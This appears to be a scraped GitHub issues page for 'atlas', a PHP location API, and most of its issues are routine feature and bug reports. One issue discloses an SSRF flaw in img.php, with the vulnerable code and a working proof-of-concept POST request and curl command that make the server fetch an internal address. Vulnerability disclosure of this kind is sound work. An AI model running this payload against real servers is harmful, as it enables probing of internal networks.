GithubHelp home page GithubHelp logo

aaronpk / atlas Goto Github PK

View Code? Open in Web Editor NEW
25.0 4.0 3.0 1.3 MB

๐ŸŒŽ Atlas is a set of APIs for looking up information about locations

License: Apache License 2.0

PHP 12.50% CSS 43.59% Hack 0.67% Less 21.48% SCSS 21.76%
indieweb gps location geo geospatial geocoding p3k

atlas's People

Contributors

aaronpk avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

atlas's Issues

Only look for address in wider distance if not found at first try

As we discussed:
Living close to the border, Atlas gives the wrong address for my home location. It seems to be a problem with the &distance=10000 parameter on the API call to geocode.arcgis.com.

This was originally used to get a location in area's where there was no address found, extending the search area by 10km.

The solution would be to first make a request without the parameter, and only if it returns empty, fetch with the 10km distance param.

You can check the API-calls with coordinates for my home address in this private post, if you need testing.

Publish a zip file as a release

Publish a zip file including the vendor folder containing dependencies so you can unzip it and run it without needing to use composer.

feature request: determine timezone offset for local timestamp

I'd like a feature where I submit a date and local time (without a timezone) and get, if possible, the timezone for this time and/or a fully tz-aware timestamp.

This is a bit ugly since it has edge cases: timestamps can either not be valid or ambigious, e.g. when they fall in a DST switch. For me, erroring out would be acceptable behavior in both cases.

wrong centering for maps with lines that should cross -180 longitude

Right now the map is always drawn with -180 on the left. When a line spans for example Tokyo to LA, the line is drawn the wrong way instead of crossing the -180 line.

  • Pick a better center for the map
  • Wrapping the map tiles around the -180 line
  • Draw path lines crossing the -180 line

Tile URL(s) have changed

Adding a couple lines similar to curl_setopt($chs[$x][$y], CURLOPT_FOLLOWLOCATION, true); in just the right places seems to do the trick.

Found out after I got a server error. There's actually a comment in the code that reads // In case any of the tiles fail, they will be grey instead of throwing an error: this is not quite true; in this case, the response is non-empty (it is a 301 error/redirect page), causing imagecreatefromstring() to run but return false. This in turns leads to a fatal error when imagesx($tile) gets called: imagesx(): Argument aaronpk/Static-Maps-API-PHP#1 ($image) must be of type GdImage, bool given.

Not sure if this library is still maintained, just thought I'd leave this here anyhow.

add web map viewer

with URL parameters like lat/lng to be able to quickly create a URL that loads a map pin at a certain location

add weather API

given a lat/lng, return information about the current weather at that location:

  • temperature
  • humidity
  • pressure
  • "feels like" temperature
  • wind / wind gust
  • rain in the last hour
  • icon URL that represents current state (cloudy, raining, sunny, etc)

Use weather icons from https://erikflowers.github.io/weather-icons/

Weather data from wunderground

SSRF vulnerability in `curl_init` Function of `img.php` File (Static Maps API latest version)

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: latest
Test with PHP 7.2

The vulnerable code is located in the curl_init function of the img.php file, which does not sufficiently validate the marker parameter, leading to a taint introduced from the $markersTemp variable in the img.php file and eventually into the tainted function curl_init, where the curl_exec function After execution, a request is sent to the URL specified by the marker parameter, eventually leading to an SSRF vulnerability.

......
if($markersTemp=request('marker')) {
  if(!is_array($markersTemp))
    $markersTemp = array($markersTemp);
......
        if(preg_match('/https?:\/\/(.+)/', $properties['icon'], $match)) {
          // Looks like an external image, attempt to download it
          $ch = curl_init($properties['icon']);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
          $img = curl_exec($ch);
......

Because the marker parameter is unrestricted, it is also possible to use the server-side to send requests, such as probing intranet web services. The corresponding PoC is as follows

POST /img.php HTTP/1.1
Host: 172.16.119.1:81
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Connection: close

marker=icon:http://172.16.119.1/testpoc;lat:lat123;lng:lng123

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'POST' \
    -H $'Host: 172.16.119.1:81' -H $'Content-Length: 61' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
    --data-binary $'marker=icon:http://172.16.119.1/testpoc;lat:lat123;lng:lng123' \
    $'http://172.16.119.1:81/img.php'

image

Not compatible with PHP 8

Possibly an issue with Savant3 dependency not being compatible with PHP 8. Running the application produces this error:

Fatal error: Uncaught ValueError: func_get_arg(): Argument #1 ($position) must be less than the number of the arguments passed to the currently executed function in 
/app/vendor/saltybeagle/savant3/Savant3.php:901

Stack trace:
#0 /app/vendor/saltybeagle/savant3/Savant3.php(901): func_get_arg(1)
#1 /app/vendor/p3k/slim-savant/Savant.php(74): Savant3->assign(Array)
#2 /app/vendor/slim/slim/Slim/View.php(255): Slim\Extras\Views\Savant->render('layout.php', Array)
#3 /app/vendor/slim/slim/Slim/View.php(243): Slim\View->fetch('layout.php', NULL)
#4 /app/vendor/slim/slim/Slim/Slim.php(755): Slim\View->display('layout.php')
#5 /app/vendor/p3k/slim-savant/SlimSavant.php(19): Slim\Slim->render('layout.php', Array)
#6 /app/controllers/main.php(5): Slim\Savant\render('index')
#7 [internal function]: {closure}()
#8 /app/vendor/slim/slim/Slim/Route.php(468): call_user_func_array(Object(Closure), Array)
#9 /app/vendor/slim/slim/Slim/Slim.php(1355): Slim\Route->dispatch()
#10 /app/vendor/slim/slim/Slim/Middleware/Flash.php(85): Slim\Slim->call()
#11 /app/vendor/slim/slim/Slim/Middleware/MethodOverride.php(92): Slim\Middleware\Flash->call() 
#12 /app/vendor/slim/slim/Slim/Middleware/PrettyExceptions.php(67): Slim\Middleware\MethodOverride->call()
#13 /app/vendor/slim/slim/Slim/Slim.php(1300): Slim\Middleware\PrettyExceptions->call()
#14 /app/public/index.php(12): Slim\Slim->run()
#15 {main} thrown in /app/vendor/saltybeagle/savant3/Savant3.php on line 901

There may be other such incompatibility issues lurking in dependencies or in the apps own code.

PHP 7.x is no longer maintained and has reached end of life. One way this manifests itself is that versions below v8 are disabled in Brew, and not supported by tools like Nixpicks.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.